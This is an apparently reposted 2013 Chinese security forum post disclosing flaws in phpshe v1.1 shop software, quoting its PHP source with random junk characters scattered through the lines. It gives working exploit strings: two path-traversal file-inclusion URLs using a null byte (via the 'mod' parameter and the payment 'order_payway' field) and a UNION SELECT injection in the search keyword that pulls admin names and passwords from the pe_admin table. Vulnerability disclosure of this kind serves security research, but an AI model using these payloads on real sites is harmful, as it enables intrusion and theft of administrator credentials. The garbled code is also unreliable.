找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2080|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
7 u8 W* s' a. O/* Phpshe v1.1 Vulnerability
0 K# |2 d; p+ V6 i- b/* ========================5 k6 W& |& J6 j, }
/* By: : Kn1f3
, t7 d8 y* z* I0 X/ b3 x  z7 H; F# E/* E-Mail : 681796@qq.com
% S" E; n3 D) C* y, u/*******************************************************/
4 v% g3 A0 q9 m0 h0×00 整体大概参数传输/ }' ?' K' Q- ]3 y4 M& o$ d
( A# {+ z9 A8 W3 i/ `2 g

- v0 x" o/ T: ~' G6 s3 @

% n: F7 h1 ]! c' J! X; |4 b//common.php
- l# z- u. g: a) ^if (get_magic_quotes_gpc()) {
( ?3 i; L7 L% P" v!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
9 M! o2 U0 H( n! z" U- }' G& i!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');# d, Y6 y: D7 C) I. c1 J% r
}
& _; }( l& m$ M+ Melse {  p. d! T" V. E( {% a
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
$ ^2 X. v  h! L& u, G; b/ D!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');; {4 X& x8 b5 k, z4 n9 {
}0 ?3 A' v/ K' y7 {) T1 G
session_start();
9 @2 q8 A6 L5 Q+ a. C) W; ~$ Z  d!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 S  }; t! E0 B1 w2 z!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
/ Q7 g: q  ]+ L
! _- A; l& v( a+ ^7 E5 B5 l0×01 包含漏洞
& _4 N4 _% d; r9 Q" T- i) n9 U, J / U# ]" c, u% S, Z! R

4 s2 W9 f1 Z; _1 s  a" u. X) a. X//首页文件4 g5 T/ L- T# T# }5 N$ g4 v
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
! R& H9 c4 _& Dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% {2 G, z) \, L4 p6 P$ e7 F. ^pe_result();8 c+ Z/ `1 w1 {
?>
% M8 C: H: p6 A' n6 p% F1 t" }//common 文件 第15行开始
1 W7 x+ w5 Z! i5 m8 X/ Durl路由配置
& z, ]7 s% ~( m* e3 m$module = $mod = $act = 'index';) J" {- h4 i1 U8 x' @7 ~
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);: o2 V' v# f- Y0 ^6 x
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);2 ^. K6 u6 U) ?% c8 l$ y  Q/ E
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);9 b1 [+ k8 S# R
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00. @5 z. Q; M- `, W: i


5 H/ ~) t2 W! Q4 O, w! ], d; a
+ n. Q& F& Z8 V5 R5 g( w 0×02 搜索注入
; F7 h& K: s5 c2 Z, {9 }
% ]) U' X4 L- ?8 Q- @1 c7 [<code id="code2">

//product.php文件
8 K& X5 V$ c7 o% e  J9 U/ m2 n; Scase 'list':
- A9 g7 [9 k$ U" H: C$category_id = intval($id);* t  I6 G% j6 Q: P! T' p
$info = $db->pe_select('category', array('category_id'=>$category_id));" @1 C1 S$ J4 g' n
//搜索
* n2 l2 P' s$ s$ U- q: ]$sqlwhere = " and `product_state` = 1";- U. c; r  O8 S9 X
pe_lead('hook/category.hook.php');
- b% n% a. l5 cif ($category_id) {
2 F9 U5 G+ m$ x" Z0 |: jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 G$ D5 ^& d* ?5 D
}
" D+ E. \% I/ d. E  K5 I4 E$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤8 N1 D6 q% p/ x* x" b
if ($_g_orderby) {* s* {  R1 Y( I
$orderby = explode('_', $_g_orderby);9 ?2 `3 ^6 Y' ?: a2 Q
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";7 ^: T/ Q( l1 x( Z
}1 _8 N# V( u, |% L- V* l( I
else {6 d$ \, X& d4 X/ S% c5 y8 }
$sqlwhere .= " order by `product_id` desc";' b( Z+ h; W7 b+ [
}
2 ?8 g2 h% p$ L7 I6 K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
, Z8 I% r0 E- T/ ]$ j- M4 d//热卖排行+ a0 J( Q" \0 G3 x/ [/ R
$product_hotlist = product_hotlist();) w1 J% `4 Q, W% r1 H3 {! |. ]8 V
//当前路径: q' ]2 [" i1 Y& ?
$nowpath = category_path($category_id);
  q' D& ], X% ~9 ]$ k$seo = pe_seo($info['category_name']);% A( y6 y2 E) I2 Z- P; k& y
include(pe_tpl('product_list.html'));
, V) b1 j! {7 F- ~//跟进selectall函数库% U# Z  |9 E. p  P
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())& v0 ^6 i6 d2 X% h+ c
{: O' U" t' s; i1 \4 G
//处理条件语句' A  s$ U1 R1 l- A/ [
$sqlwhere = $this->_dowhere($where);- L/ Z- ?3 V8 t% v& s4 w6 A
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( ?3 \; h  ^) O0 i; U( {" F- n; s}
# h, \" Q, b& P& V# n//exp: H6 L! @. F5 Y9 I7 I
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
% }/ `+ f9 n" [  v5 x

</code>' q4 f: ]/ Z9 o! P) r1 n

5 i1 k! x% C9 P0 ?( ~& @" X0×03 包含漏洞2( M0 t% S2 c& s* F. Z0 R* g) ]# M

5 w; H" N0 t" E2 X* T! L<code id="code3">

//order.php

case 'pay':


- i0 E: ^: t2 }& {# \+ k5 s$order_id = pe_dbhold($_g_id);


" X( L4 B) Z) c+ u$cache_payway = cache::get('payway');


/ N  q. p+ U5 ~) O/ Vforeach($cache_payway as $k => $v) {


# a7 q+ Y9 _/ {8 ?$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


) m3 p. b: a$ ^/ C% Vif ($k == 'bank') {

# x; t5 o& z5 x' o2 z1 r* J
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


9 w! n& G; B5 z0 ]# J2 \}


' i% m8 {3 E7 W; y/ r, l}


: O- A/ a9 f$ D$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


* D0 P: p# S. P  @! B- W+ m8 p!$order['order_id'] && pe_error('订单号错误...');

% w# R3 n6 G, y! H& J
if (isset($_p_pesubmit)) {


4 {! O0 R0 `) kif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


4 T1 K( S5 G5 ]$ I$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 u% s$ ]/ K2 ?; T& ^5 A4 j
foreach ($info_list as $v) {


4 K% p3 i% U+ R& i0 ^$ l, D$order['order_name'] .= "{$v['product_name']};";: C0 Q* S. E+ |6 c7 i0 S+ Z


6 ^8 D, g6 m0 s. f- e}

4 V* ~. U& O6 Q+ q+ f! E
echo '正在为您连接支付网站,请稍后...';


0 N4 C" z' {4 S& I+ Jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


  m  M3 b4 \7 R- A}//当一切准备好的时候就可以进行"鸡肋包含了"

$ V" N' {" S1 Z! [( Z) [) G6 u
else {


2 r7 B# E; y; e; Tpe_error('支付错误...');


- g$ x$ f9 R: R5 r) A}


" s( G# H$ D. S9 _0 F}


1 E  c6 `3 e4 I5 E$ H  d$seo = pe_seo('选择支付方式');


& u, l# J! g' O* v$ u8 M! Iinclude(pe_tpl('order_pay.html'));


! N5 g8 ^% ^. I- v- Dbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- I% t- |2 `8 y4 r% B) thttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表